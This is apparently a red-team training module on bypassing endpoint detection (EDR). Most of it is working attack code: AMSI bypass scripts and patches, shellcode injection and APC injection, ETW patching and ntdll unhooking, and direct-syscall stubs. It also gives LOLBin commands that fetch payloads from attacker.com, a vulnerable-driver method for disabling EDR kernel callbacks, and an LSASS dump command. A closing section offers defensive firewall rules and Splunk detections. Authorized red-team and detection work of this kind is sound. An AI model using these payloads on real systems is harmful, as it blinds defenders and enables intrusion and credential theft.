6_EDR

Pillar 6: EDR Bypass & Evasion

BLUF: Modern EDRs catch commodity tools within seconds. The only way to operate against a mature SOC is to understand exactly what they detect and why — then build techniques that don't generate those signals. AV evasion is table stakes. Real red teamers bypass EDR at the syscall level.

Note

⚫ OW64 — P6: EDR Bypass & Evasion Action Items

  1. AV Evasion Fundamentals · 2. AMSI Bypass Techniques · 3. Process Injection Techniques · 4. ETW Patching & Unhooking · 5. Syscall-Based Evasion · 6. Sleep Obfuscation & Stack Spoofing · 7. EDR Bypass Methodology · 8. LOLBins, BYOVD & WDAC · ✦ Full Evasion Engagement
graph TB
    Start([AV Evasion Basics]) --> AMSI[AMSI Bypass]
    AMSI --> Inject[Process Injection]
    Inject --> ETW[ETW Patching & Unhooking]
    ETW --> Syscall[Syscall-Based Evasion]
    Syscall --> Sleep[Sleep Obfuscation & Stack Spoofing]
    Sleep --> EDRBypass[EDR Bypass Methodology]
    EDRBypass --> LOLBins[LOLBins & BYOVD]
    LOLBins --> FullEvasion([Full Evasion Engagement])
    Start --> Detect[Detection Understanding]
    Detect --> EDRBypass
    style Start fill:#ff6600
    style FullEvasion fill:#00aa00

MITRE ATT&CK Mapping

Technique ID Name Tactic Pillar Relevance
T1562.001 Disable or Modify Tools Defense Evasion AV/EDR disabling
T1055 Process Injection Defense Evasion Injection techniques
T1620 Reflective Code Loading Defense Evasion Reflective DLL injection
T1027 Obfuscated Files or Information Defense Evasion Payload obfuscation
T1070 Indicator Removal Defense Evasion Log and artifact cleanup
T1036 Masquerading Defense Evasion Binary name/path spoofing
T1574 Hijack Execution Flow Defense Evasion DLL hijacking and sideloading
T1218 System Binary Proxy Execution Defense Evasion LOLBin-based execution
T1497.003 Time Based Evasion Defense Evasion Sleep obfuscation, sandbox detection
T1014 Rootkit Defense Evasion BYOVD kernel-level EDR killing

Action Item 1 — AV Evasion Fundamentals [Beginner]

What you're building: A mental model of how AV/EDR detects malware — and the exact layer you need to attack. Before you can bypass detection, you need to understand what triggers it: static signatures, heuristics, behavioral patterns, and memory scanning. This item builds the foundation for every technique that follows.

Antivirus detection relies on static signatures, heuristics, and behavioral analysis. Evasion begins with identifying which specific bytes or strings are triggering a detection and modifying them through encryption or obfuscation. Modern delivery formats like ISO containers or LNK files help bypass initial Mark-of-the-Web (MotW) restrictions.

Tactic: Defense Evasion

Technique: Static & Heuristic Signature Evasion — understand what each detection layer sees, then surgically remove the signal without breaking functionality.

Question Operator Analogy EDR Equivalent
What's watching me? Checking for security cameras Identifying EDR sensor coverage and product name
What do they recognize? Do guards know my face? Static signatures, YARA rules, behavioral patterns
How do I blend in? Wearing the right uniform Signed binaries, legitimate parent processes, LOLBins
What's the alarm system? Motion sensors, tripwires User-mode hooks in ntdll.dll, kernel callbacks
Can I disable it? Cutting the camera feed Patching AMSI/ETW, unhooking ntdll, BYOVD

The goal before writing any payload: understand exactly which layer is detecting you (static file scan, in-memory scan, behavioral telemetry, network signature) before you spend time evading the wrong one.

Tools: ThreatCheck, DefenderCheck, AMSI.fail, custom obfuscators

Procedure:

# 1. Identify flagged bytes in a binary using ThreatCheck
# This tool splits the file into chunks and scans them to find the exact offset of the signature
.\ThreatCheck.exe -f .\beacon.exe -e AMSI
.\ThreatCheck.exe -f .\beacon.exe -e Defender

# 2. Simple XOR encryption in C# to hide shellcode from static scanners
public static byte[] XorEncrypt(byte[] data, byte[] key) {
    byte[] output = new byte[data.Length];
    for (int i = 0; i < data.Length; i++) {
        output[i] = (byte)(data[i] ^ key[i % key.Length]);
    }
    return output;
}

# 3. String obfuscation via splitting to evade simple grep-based signatures
string part1 = "Virt";
string part2 = "ualA";
string part3 = "lloc";
IntPtr addr = GetProcAddress(hModule, part1 + part2 + part3);

# 4. AES-encrypted shellcode loader (more robust than XOR for production payloads)
# Encrypt shellcode offline, embed ciphertext in loader, decrypt at runtime:
# AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
# aes.Key = Convert.FromBase64String(encryptedKey);
# aes.IV = Convert.FromBase64String(iv);
# byte[] shellcode = aes.CreateDecryptor().TransformFinalBlock(ciphertext, 0, ciphertext.Length);

# 5. VBA Macro Obfuscation (conceptual)
# Use string reversal and character codes to hide sensitive API calls
# Dim cmd As String: cmd = StrReverse("exe.dmc")  ' cmd.exe

Why: ThreatCheck pins the exact byte offset triggering Defender. Fix that single offset and your payload goes from detected to clean — no full rewrite needed.

OPSEC: Avoid using public packers like UPX — they are often flagged independently of payload content. Custom XOR or AES encryption is significantly more effective. Always test against a local, non-reporting AV instance before deployment. ISO delivery containers bypass Mark-of-the-Web restrictions and prevent initial on-disk scanning.


Action Item 2 — AMSI Bypass Techniques [Beginner]

What you're building: Blind the AV scanner that watches PowerShell, .NET, and script execution in memory. AMSI is the bridge between script engines and AV/EDR — kill it and you can run C# assemblies, PowerShell tools, and shellcode runners without triggering real-time memory scans.

The Antimalware Scan Interface (AMSI) is a buffer-scanning interface that allows applications to send content to the installed AV/EDR for scanning. Bypassing it is essential for executing PowerShell or C# scripts in memory without triggering alerts.

Technique: AMSI Patching & Reflection

Tools: PowerShell, Win32 APIs (P/Invoke)

Procedure:

# 1. Reflection-based AMSI bypass (evades meta-scan via string splitting)
# This sets the 'amsiInitFailed' field to true, causing AMSI to fail open
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}}
$f.SetValue($null,$true)

# 2. Patching AmsiScanBuffer in memory via C#
// Get address of AmsiScanBuffer in amsi.dll
IntPtr amsiPtr = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");

// Patch with 'mov eax, 0x80070057; ret' (E_INVALIDARG — AMSI returns OK but skips scan)
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
uint oldProtect;
VirtualProtect(amsiPtr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, amsiPtr, patch.Length);
VirtualProtect(amsiPtr, (UIntPtr)patch.Length, oldProtect, out oldProtect);

# 3. AmsiOpenSession NULL pointer bypass
// Force AmsiOpenSession to return NULL, causing AmsiScanBuffer to skip execution
// Patch the 'test rax, rax' check so it always sees an invalid session handle

# 4. For .NET 4.8+ / WDAC-enforced environments: use D/Invoke for dynamic resolution
// D/Invoke avoids static imports of suspicious APIs, resolving them at runtime via
// GetProcAddress with obfuscated function name strings

Why: Without an AMSI bypass, PowerShell will refuse to execute known-bad strings in memory. One effective bypass clears the path for all subsequent in-memory tool execution (SharpHound, Rubeus, Seatbelt) in the same session.

OPSEC: AMSI bypasses are heavily monitored. Modern EDRs look for the specific byte patterns used in patches. Use dynamic resolution of the function address and obfuscate the patch bytes themselves. Consider splitting the bypass across multiple obfuscated variables to avoid triggering AMSI on the bypass code itself.


Action Item 3 — Process Injection Techniques [Intermediate]

What you're building: A way to execute your shellcode inside a legitimate, trusted process — so the EDR sees svchost.exe doing things instead of your loader. Injection is how you separate the "launcher" from the "beacon" to hide attribution and blend into normal process activity.

Process injection allows an attacker to execute code in the context of a legitimate process, masking their activity and potentially gaining access to the target process's memory and tokens.

Technique: Remote Thread Injection & Process Hollowing

Tools: C#, P/Invoke, D/Invoke

Procedure:

// 1. Classic Remote Thread Injection
// Open target process with necessary access rights (PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);

// Allocate memory for shellcode in the remote process (MEM_COMMIT | MEM_RESERVE)
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);

// Write shellcode to the allocated memory
WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);

// Execute shellcode via a new thread in the remote process
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

// 2. APC Injection (Early Bird)
// Create a legitimate process (e.g., notepad.exe) in a suspended state
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "notepad.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

// Allocate and write shellcode to the suspended process
IntPtr lpBaseAddress = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, (uint)shellcode.Length, out _);

// Queue an Asynchronous Procedure Call (APC) to the main thread
QueueUserAPC(lpBaseAddress, pi.hThread, 0);

// Resume the thread to trigger the APC and execute the shellcode
ResumeThread(pi.hThread);

// 3. Process Hollowing (conceptual)
// CreateProcess(SUSPENDED) → ZwUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory
// → SetThreadContext (update RIP) → ResumeThread
// Replaces the entire image of a legitimate process with your shellcode.

// 4. Thread Hijacking
// Suspend a thread in the target process
// Get the thread's context (registers) using GetThreadContext
// Modify the RIP (Instruction Pointer) to point to your shellcode
// Set the modified context using SetThreadContext and resume the thread

// 5. Module Stomping (advanced, lower detection)
// Load a legitimate DLL into the target process, then overwrite its .text section
// with your shellcode — the memory appears as backed by a signed module

Why: VirtualAllocEx + CreateRemoteThread is the most-detected pattern in existence. Every EDR on the market alerts on it. APC Injection and Thread Hijacking avoid the explicit thread creation API and blend into normal thread activity. Module stomping takes this further by making shellcode appear to live inside a legitimate, signed DLL on disk.

OPSEC: VirtualAllocEx and CreateRemoteThread are high-fidelity triggers. Use NtCreateThreadEx or QueueUserAPC for better stealth, or move to direct syscalls to bypass user-mode hooks. Process hollowing is highly effective but complex — carefully select the target process to match the expected behavior of your beacon.


Action Item 4 — ETW Patching & Unhooking [Intermediate]

What you're building: Silence the telemetry pipe that feeds your activity to the EDR's analysis engine. ETW is the event bus — patch it and the EDR receives no signal about your API calls. Unhooking removes the EDR's inline hooks from ntdll so your syscall wrappers aren't intercepted.

Event Tracing for Windows (ETW) provides deep visibility into process activity. EDRs use ETW to monitor for suspicious API calls and behavioral patterns. Unhooking involves restoring the original code of system libraries (like ntdll.dll) to remove EDR monitoring points.

Technique: Telemetry Silencing & Library Restoration

Tools: C#, ntdll.dll

Procedure:

// 1. Patch EtwEventWrite to return immediately (silences process ETW telemetry)
// This prevents the process from sending telemetry events to EDR sensors
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);  // 0xC3 = RET instruction
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

// 2. NTDLL Unhooking from Disk
// Read a clean copy of ntdll.dll from the System32 directory
byte[] cleanNtdll = File.ReadAllBytes("C:\\Windows\\System32\\ntdll.dll");

// Overwrite the in-memory .text section with clean bytes
// This removes all inline hooks (JMP instructions) placed by the EDR
IntPtr hModule = GetModuleHandle("ntdll.dll");
// Steps:
// 1. Get DOS header → NT headers → Section headers
// 2. Find section named ".text"
// 3. VirtualProtect to PAGE_EXECUTE_READWRITE
// 4. Copy clean .text bytes to hModule + section.VirtualAddress
// 5. Restore original protection

// 3. Perun's Fart (indirect unhooking)
// Spawn a suspended process, read its clean ntdll from that process's memory
// Avoids reading ntdll directly from disk (monitored by minifilter drivers)

// 4. Tartarus Gate
// When Hell's Gate SSN resolution fails (function is hooked / starts with JMP),
// search neighboring functions: SSN = neighbor_SSN ± offset (offset is usually +1 per function)
// This allows SSN resolution even when the target function itself is hooked

Why: Patching EtwEventWrite is one patch, one function, immediate silence across all ETW-based telemetry in the process. Unhooking ntdll from disk is more thorough — it removes every inline hook simultaneously, restoring clean execution for all subsequent API calls.

OPSEC: Patching EtwEventWrite is effective but global within the process. Some EDRs monitor ntdll integrity and alert if hooks are removed. Unhooking from disk requires reading from a sensitive file path, which may itself trigger a minifilter alert. Perun's Fart (using a suspended process as the clean source) avoids that signal.


Action Item 5 — Syscall-Based Evasion [Advanced]

What you're building: A way to talk directly to the kernel, bypassing every user-mode hook the EDR placed in ntdll. Instead of calling NtAllocateVirtualMemory (which the EDR intercepts), you emit the raw syscall instruction yourself with the correct SSN — the EDR never sees it.

Syscalls allow a program to request services from the kernel directly. By using syscalls instead of high-level APIs, an attacker can bypass the user-mode hooks that EDRs place in ntdll.dll. This is the current gold standard for EDR evasion.

Technique: Direct & Indirect Syscalls

Tools: SysWhispers2/3, Hell's Gate, Halo's Gate, Tartarus Gate

[[]]Procedure:

// 1. Hell's Gate: Dynamically resolve Syscall Service Number (SSN)
// Read ntdll.dll memory to find the 'mov eax, SSN' instruction for a function
// This avoids hardcoding SSNs which change between Windows versions and builds
IntPtr funcAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
// Check for '0xB8' (mov eax) at funcAddr + 4
// SSN is the DWORD at funcAddr + 5 (little-endian)
byte ssn = Marshal.ReadByte(funcAddr, 4);

// 2. Halo's Gate (when the function is hooked / starts with JMP)
// If funcAddr[0] == 0xE9 (JMP), resolve SSN from a neighboring unhooked function:
// Check funcAddr ± 0x20 (neighboring stub), SSN = neighbor_SSN ± 1

// 3. Direct Syscall stub (ASM — SysWhispers2 style)
// NtAllocateVirtualMemory PROC
//     mov r10, rcx
//     mov eax, <SSN>           ; resolved at runtime
//     syscall
//     ret
// NtAllocateVirtualMemory ENDP
// PROBLEM: call stack shows syscall originated from outside ntdll → detected by CrowdStrike Falcon

// 4. Indirect Syscall stub (SysWhispers3 style) — preferred
// Instead of emitting 'syscall' directly, JMP to the syscall instruction inside ntdll
// Call stack shows syscall originating from ntdll.dll → appears legitimate
// ASM Stub:
//     mov r10, rcx
//     mov eax, <SSN>
//     jmp <address_of_syscall_instruction_inside_ntdll_stub>

Why: Direct syscalls skip user-mode hooks entirely — the EDR's JMP at the top of NtCreateThreadEx is never executed. Indirect syscalls go one step further: they also make the call stack look legitimate, defeating EDRs that trace return addresses to detect non-ntdll syscall origins.

OPSEC: Direct syscalls are detected by EDRs using kernel callbacks (PsSetCreateProcessNotifyRoutine) or call stack analysis. Indirect syscalls mitigate the call stack problem by ensuring the return address points back into ntdll. For maximum stealth, combine indirect syscalls with sleep obfuscation (Action Item 6).


Action Item 6 — Sleep Obfuscation & Stack Spoofing [Advanced]

What you're building: A way to hide your beacon's shellcode in memory when it isn't running. Between check-ins, your beacon sits idle in memory — EDR memory scanners look for that pattern. Sleep obfuscation encrypts the shellcode while sleeping. Stack spoofing removes the suspicious call stack frames that point back to your beacon.

Modern EDRs run periodic memory scans between beacon check-ins. If your shellcode sits in unbacked RWX memory with a recognizable beacon signature, it will be found regardless of how clean your injection was. Sleep obfuscation encrypts the payload at rest. Stack spoofing prevents the call stack from betraying the shellcode's location.

Technique: In-Memory Beacon Concealment

Tools: Ekko, Foliage, Ziggurat, CallStackMasker, SilentMoonwalk

Sleep Obfuscation

Procedure:

// Ekko (ROP-based sleep obfuscation): github.com/Cracked5pider/Ekko
// Uses ROP gadgets to:
// 1. Queue an APC to encrypt the beacon image (XOR/AES)
// 2. Sleep for the desired interval
// 3. Queue an APC to decrypt and resume
// The beacon's memory is ciphertext during the sleep window

// Foliage (APC-based): github.com/SecIdiot/FOLIAGE
// Achieves the same result using APC chains instead of ROP
// More portable but slightly less stealthy than ROP-based approaches

// Ziggurat: combines sleep obfuscation + call stack spoofing in a single operation
// - Encrypts beacon image while sleeping
// - Spoofs the call stack to remove beacon frames
// - Restores both cleanly on wake
// Highest stealth for modern CrowdStrike Falcon / Elastic environments

Why: Without sleep obfuscation, CrowdStrike Falcon and Microsoft Defender for Endpoint detect idle beacons via memory scanning within minutes. The beacon's Reflective DLL header and config block are recognizable even without execution-based telemetry.

Stack Spoofing

Procedure:

// CallStackMasker: github.com/mgeeky/CallStackMasker
// Overwrites return addresses on the call stack before sleeping
// Replaces beacon frames with frames from ntdll/kernel32 to look like a legitimate thread

// SilentMoonwalk: github.com/klezVirus/SilentMoonwalk
// More sophisticated — synthesizes an entirely fake call stack
// Walks the unwind data of ntdll/kernel32 to construct a plausible call chain
// Compatible with Cobalt Strike (via UDRL) and Sliver (via custom loader)

Why: CrowdStrike Falcon and Elastic Security alert on threads whose call stack contains frames in unbacked memory or frames that don't unwind cleanly. A spoofed call stack makes your beacon's thread look like a normal Windows thread blocked in a legitimate wait operation.

OPSEC: Sleep obfuscation + stack spoofing together eliminate two of the three primary mechanisms modern EDRs use to detect idle beacons (memory scanning and thread call stack analysis). The third — network signature during check-in — is addressed via malleable profiles and CDN traffic shaping (Pillar 7).


Action Item 7 — EDR Bypass Methodology [Advanced]

What you're building: A systematic, lab-driven process for understanding exactly what a specific EDR detects and where its blind spots are — before you deploy against a real target.

Bypassing a specific EDR requires a systematic analysis of its hooks and detection logic. This involves identifying which APIs are hooked and finding "blind spots" where the EDR lacks visibility or has weak detection rules.

Technique: Dynamic Analysis & Hook Mapping

Tools: Frida, ScyllaHide, x64dbg, ThreatCheck

Procedure:

# 1. Use Frida to trace API calls and identify hooks
# This script logs every call to NtCreateThreadEx and shows if it's hooked
frida -p <pid> -l trace_hooks.js

# 2. Hook Mapping Logic (conceptual — automate with a small C# tool)
# Iterate through the ntdll.dll export table
# For each function, read the first byte at its address:
#   0x4C = clean (mov r10, rcx — start of normal syscall stub)
#   0xE9 = hooked (JMP to EDR monitoring DLL)
#   0xEB = hooked (short JMP variant)
# Log the JMP destination to identify the EDR's monitoring library (e.g., CrowdStrike.dll)

# 3. Detection Gap Analysis (lab procedure)
# a. Set up a VM with the target EDR at the target policy level
# b. Test each injection technique individually (APC, Thread Hijacking, Module Stomping)
# c. Check the EDR console after each test — did it alert? What was the trigger?
# d. Record which techniques are blind spots and which are noisy
# e. Build your evasion chain from the blind spots outward
// trace_hooks.js — Frida script for hook detection
Interceptor.attach(Module.findExportByName("ntdll.dll", "NtCreateThreadEx"), {
    onEnter: function (args) {
        console.log("[+] NtCreateThreadEx called");
        console.log("    Target process handle: " + args[3]);
        console.log("    Start address: " + args[4]);
        console.log("    Call stack: " + Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n\t'));
    }
});

Why: Generic bypass techniques work until an EDR updates its rules. Lab-driven hook mapping gives you first-principles knowledge of what this specific EDR version at this specific policy level actually monitors — so you build a bypass that's precise, not just lucky.

OPSEC: Running debuggers or Frida on a production system is extremely noisy. Perform all analysis in a lab that mirrors the target's exact EDR version and policy. Many EDRs phone home when they detect instrumentation — run your analysis lab air-gapped or with outbound blocked.


Action Item 8 — LOLBins, BYOVD & WDAC Bypass [Advanced]

What you're building: Execution via signed, trusted binaries the EDR is configured to trust — and, when necessary, the ability to kill the EDR entirely from kernel space using a vulnerable signed driver.

Living Off the Land Binaries (LOLBins) are legitimate, signed Microsoft binaries that can be used to execute code, download files, or bypass security policies. Bring Your Own Vulnerable Driver (BYOVD) escalates this to kernel level — loading a signed but vulnerable driver to gain kernel code execution and directly remove EDR kernel callbacks.

Technique: Living Off the Land & Kernel-Level EDR Elimination

Tools: mshta, regsvr32, certutil, LOLDrivers.io, PPLKiller

Procedure:

# 1. Execute a remote HTA payload via mshta.exe
mshta.exe http://attacker.com/payload.hta

# 2. Squiblydoo: Execute a COM scriptlet via regsvr32.exe
# Classic AppLocker bypass — executes code in memory without touching disk
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# 3. Certutil: Decode and drop a base64-encoded executable
certutil.exe -urlcache -f http://attacker.com/payload.b64 payload.b64
certutil.exe -decode payload.b64 payload.exe

# 4. Rundll32: Execute a DLL export
rundll32.exe shell32.dll,Control_RunDLL C:\path\to\payload.dll

# 5. MSIExec: Execute a remote MSI package (bypasses many AppLocker rules)
msiexec.exe /i http://attacker.com/payload.msi /quiet

# 6. Wscript / Cscript: Execute obfuscated VBScript or JScript
wscript.exe //e:vbscript payload.txt

BYOVD — Bring Your Own Vulnerable Driver

# LOLDrivers.io: https://www.loldrivers.io/
# Comprehensive database of vulnerable drivers signed by legitimate vendors
# Search by: CVE, EDR bypass capability, kernel memory R/W, process termination

# Example: RTCore64.sys (MSI Afterburner) — arbitrary kernel memory read/write
# CVE-2019-16098 — still widely abused in 2024/2025 engagements
sc.exe create RTCore64 type= kernel start= auto binPath= C:\Windows\System32\drivers\RTCore64.sys
sc.exe start RTCore64
# Use RTCore64 R/W primitive to zero out EDR kernel callbacks in PspNotifyRoutines

# PPLKiller / PPLdump: Remove Protected Process Light (PPL) from LSASS
# Allows direct LSASS memory dump without Mimikatz needing a PPL bypass
# https://github.com/itm4n/PPLdump
.\PPLdump.exe lsass.exe lsass.dmp

# General BYOVD flow:
# 1. Select vulnerable driver from loldrivers.io with kernel memory R/W capability
# 2. Drop and load the driver (requires admin / SeLoadDriverPrivilege)
# 3. Use the driver's vulnerability to enumerate and zero PspNotifyRoutines / PspLoadImageNotifyRoutines
# 4. EDR's kernel callbacks are removed — it can no longer see process creation, image loads, or thread creation
# 5. EDR user-mode agent is still alive but effectively blind

Why: LOLBins bypass application whitelisting by leveraging already-trusted binaries. BYOVD is one of the few techniques that can reliably disable a fully deployed EDR (CrowdStrike Falcon, SentinelOne) when kernel callbacks are removed — it's why many high-tier threat actors use it for the final phase of an operation.

OPSEC: LOLBins are heavily logged and monitored by modern SOCs. They look for unusual parent-child process relationships (e.g., wmiprvse.exe spawning mshta.exe). BYOVD driver loading is detectable via Event ID 6 (driver loaded) — use WMI or a custom dropper to load silently. After removing callbacks, work quickly — some EDRs have watchdog processes that re-register callbacks.


Full Evasion Engagement [Operator]

A successful evasion engagement requires chaining multiple techniques into a seamless execution flow. This involves initial obfuscation, environment preparation (AMSI/ETW patching), unhooking, stealthy injection, in-memory beacon concealment, and C2 traffic masking.

Technique: End-to-End Evasion Chain Execution

Tools: Custom Loaders, C2 (Sliver, Cobalt Strike, Havoc)

Procedure:

  1. Preparation: Generate shellcode and encrypt it with a custom AES key. Obfuscate the loader's strings and API imports using dynamic resolution (D/Invoke or manual GetProcAddress with obfuscated name strings). Run ThreatCheck to confirm no static detections remain.
  2. Initial Execution: Use a LOLBin or a signed binary to execute the custom loader. Deliver via ISO or VHD container to bypass MotW and on-open scanning.
  3. Environment Patching: The loader patches AMSI and EtwEventWrite in its own process to blind local sensors and prevent telemetry generation for subsequent actions.
  4. Unhooking: The loader maps a fresh copy of ntdll.dll from a suspended process (Perun's Fart) to remove any EDR hooks — cleaner than disk-read and avoids minifilter alerts.
  5. Injection: Use indirect syscalls (SysWhispers3) to inject the encrypted shellcode into a target process (spoolsv.exe or svchost.exe) via APC injection. All API calls bypass EDR user-mode hooks.
  6. Beacon Concealment: Enable sleep obfuscation (Ekko/Ziggurat) and stack spoofing (SilentMoonwalk) to encrypt the beacon image at rest and remove call stack traces between check-ins.
  7. C2 Operation: The beacon executes in memory using encrypted malleable profiles, jitter, and CDN traffic shaping. Check-in traffic blends with normal HTTPS to major cloud providers.
  8. Cleanup: Remove temporary files, revert any memory patches, and ensure no persistent artifacts are discoverable during a forensic audit.

Common EDR Hooks in NTDLL:

Function Purpose EDR Monitoring
NtCreateThreadEx Thread creation Remote thread injection
NtAllocateVirtualMemory Memory allocation Shellcode staging
NtWriteVirtualMemory Memory writing Shellcode deployment
NtProtectVirtualMemory Memory protection RWX region creation
NtQueueApcThread APC queuing Early Bird injection
NtOpenProcess Process handle acquisition Cross-process access
NtMapViewOfSection Section mapping Reflective DLL injection

OPSEC: The goal is to minimize the "footprint" at each stage. Use in-memory execution wherever possible. Monitor your own telemetry in a lab — if an alert fires against yourself, fix it before going live. The sequence matters: patch AMSI/ETW before running any in-memory tooling, not after.


Detection & Defender Perspective

What you're building: A mental model of the defender's view — what telemetry your techniques generate, which Palo Alto rules fire, and which Splunk searches will catch you. Every evasion technique in this pillar has a corresponding detection signal. Understanding the signal is how you suppress it on real engagements and how you validate detections during purple team exercises.

Note

Required data sources for Splunk detections below:

  • Windows Security logs from all DCs: Event IDs 4624, 4625, 4662, 4768, 4769, 4771, 4738, 4688
  • Palo Alto traffic, threat, and URL logs mapped to CIM Network_Traffic and Authentication
  • Sysmon (where noted): deployed to endpoints, forwarded to Splunk
  • All SPL below uses Splunk Security Content CIM-normalized datamodels and standard macros (security_content_summariesonly, wineventlog_security, drop_dm_object_name)

Palo Alto: Web and AD Traffic Detection

What you're building: Firewall rules and Zone Protection profiles that catch recon, enumeration, and protocol abuse at the network layer — before any endpoint telemetry fires.

Baseline App-ID Inventory

Protocol Category App-IDs to Track
Web traffic web-browsing, ssl, sharepoint, custom-web-apps
Active Directory kerberos, ldap, ldaps, ms-ds-smb, msrpc, winrm, rdp
Management ssh, telnet, ftp, tftp

Zone Protection Profiles — Recon Detection

# PAN-OS 11.2 Zone Protection Profile — Recon Thresholds
# Navigate: Network > Zone Protection > Add Profile
zone-protection-profile:
  name: "ZP-Untrusted-Recon"
  reconnaissance-protection:
    tcp-port-scan:
      enable: true
      interval: 2        # seconds
      threshold: 100     # half-open connections before alert/block
      action: block-ip
      duration: 300      # block for 5 minutes
    tcp-sweep:
      enable: true
      interval: 5
      threshold: 5       # distinct destination ports in window
      action: block-ip
    udp-port-scan:
      enable: true
      interval: 1
      threshold: 50      # packets per second
      action: block-ip
    icmp-sweep:
      enable: true
      interval: 1
      threshold: 50      # ICMP packets per second
      action: block-ip
  # Apply profile to untrusted and DMZ zones
  zones: [untrusted, dmz, guest-wifi]

OPSEC: Zone Protection FP sources: network monitoring agents (New Relic, Datadog, SolarWinds) doing multi-host polling; legitimate vulnerability scanners with approved IPs; TCP keep-alive from load balancers. Whitelist approved scanner IPs via Security Policy pre-rule before ZP kicks in. For internal segments, raise thresholds 3–5× — internal tooling is noisier.

Security Policy Rules — AD Protocols from Untrusted Zones

# Block AD protocol abuse from untrusted/DMZ/guest zones toward DC subnet
# Apply BEFORE any allow rules for those zones
security-rules:
  - name: "Block-AD-Protocols-Untrusted-Zones"
    source-zone: [untrusted, dmz, guest-wifi]
    destination-zone: [internal-servers]
    destination-address: ["dc-subnet-10.0.1.0/24"]
    application:
      - kerberos
      - ldap
      - ldaps
      - ms-ds-smb
      - msrpc
      - winrm
      - rdp
    action: deny
    log-at-session-end: true
    log-forwarding: "Panorama-Splunk"
    description: "Deny AD protocol enumeration from untrusted zones to DC subnet"

  - name: "Alert-LDAP-High-Volume-Internal"
    source-zone: [internal-users]
    destination-zone: [internal-servers]
    destination-address: ["dc-subnet-10.0.1.0/24"]
    application: [ldap, ldaps]
    action: allow
    profile-setting:
      vulnerability: "strict"
      spyware: "strict"
    log-at-session-end: true
    description: "Allow but log LDAP — high volume from single src triggers anomaly alert"

OPSEC: AD protocol rule FP sources: legacy apps with hardcoded DC IP addresses; cross-forest trust replication traffic; backup software (Veeam, Commvault) querying AD for service accounts; SCCM site servers doing LDAP lookups. Carve out explicit allow rules for known management IPs before the deny rule in the rulebase.

Custom App-ID Signatures — Web Scanner Fingerprints

# Custom App-ID: Nikto Web Scanner
# Navigate: Objects > Applications > Add
custom-app-id:
  - name: "custom-nikto-scanner"
    category: vulnerability-scanner
    subcategory: web-scanning
    technology: browser-based
    signatures:
      - name: "nikto-user-agent"
        order: 1
        scope: protocol-data-unit
        conditions:
          - operator: pattern-match
            context: http-req-headers
            pattern: "Mozilla.*Nikto"
            qualifier: case-insensitive

  - name: "custom-sqlmap-scanner"
    category: vulnerability-scanner
    subcategory: web-scanning
    technology: browser-based
    signatures:
      - name: "sqlmap-user-agent"
        order: 1
        scope: protocol-data-unit
        conditions:
          - operator: pattern-match
            context: http-req-headers
            pattern: "sqlmap\\/[0-9]"
            qualifier: case-insensitive

  - name: "custom-dirbuster-scanner"
    category: vulnerability-scanner
    subcategory: web-scanning
    technology: browser-based
    signatures:
      - name: "dirbuster-user-agent"
        order: 1
        scope: protocol-data-unit
        conditions:
          - operator: pattern-match
            context: http-req-headers
            pattern: "DirBuster-[0-9]"
            qualifier: case-insensitive

  - name: "custom-nmap-http-probe"
    category: vulnerability-scanner
    subcategory: network-scanning
    technology: client-server
    signatures:
      - name: "nmap-http-probe"
        order: 1
        scope: protocol-data-unit
        conditions:
          - operator: pattern-match
            context: http-req-headers
            pattern: "Nmap Scripting Engine"
            qualifier: case-insensitive

OPSEC: Custom App-ID FP sources: developer curl/wget with default UA strings (rare); CI/CD pipeline scanners (Snyk, OWASP ZAP in pipeline mode) — add these source IPs to a approved-scanner address group and carve out a monitor-only rule before the block. Update signatures quarterly as tools update their UA strings (sqlmap in particular changes frequently).

Splunk — Active Directory Detections

What you're building: Correlation searches that fire on the exact behaviors generated by your AD attack techniques — giving you both a detection-evasion checklist and a purple team validation toolkit.

1. Password Spraying

| tstats `security_content_summariesonly` count(Authentication.action) as action_count
    values(Authentication.action) as action
    dc(Authentication.user) as user_count
    from datamodel=Authentication
    where Authentication.action IN ("success","failure")
    by Authentication.src, _time span=10m
| where user_count >= 10
| eval success=mvcount(mvfilter(match(action,"success")))
| eval failure=mvcount(mvfilter(match(action,"failure")))
| eval spray_ratio=if(failure>0, round(success/failure,2), 99)
| where spray_ratio < 0.25
| `drop_dm_object_name("Authentication")`
| table _time, src, user_count, success, failure, spray_ratio
| sort - user_count

OPSEC: FP sources: Outlook Anywhere clients retrying on password change; service accounts with expired credentials hitting multiple systems; VPN concentrators aggregating many users from one IP. Raise user_count threshold to 20+ for shared jump hosts. Lower to 5 for high-security segments with PAM. Add NOT src IN (approved_scanners) to suppress authorized scan traffic.

2. Kerberoasting (RC4 TGS Requests)

`wineventlog_security` EventCode=4769
    TicketEncryptionType=0x17
    ServiceName!="*$"
    ServiceName!="krbtgt"
| stats count by src_ip, TargetUserName, ServiceName, _time
| where count >= 1
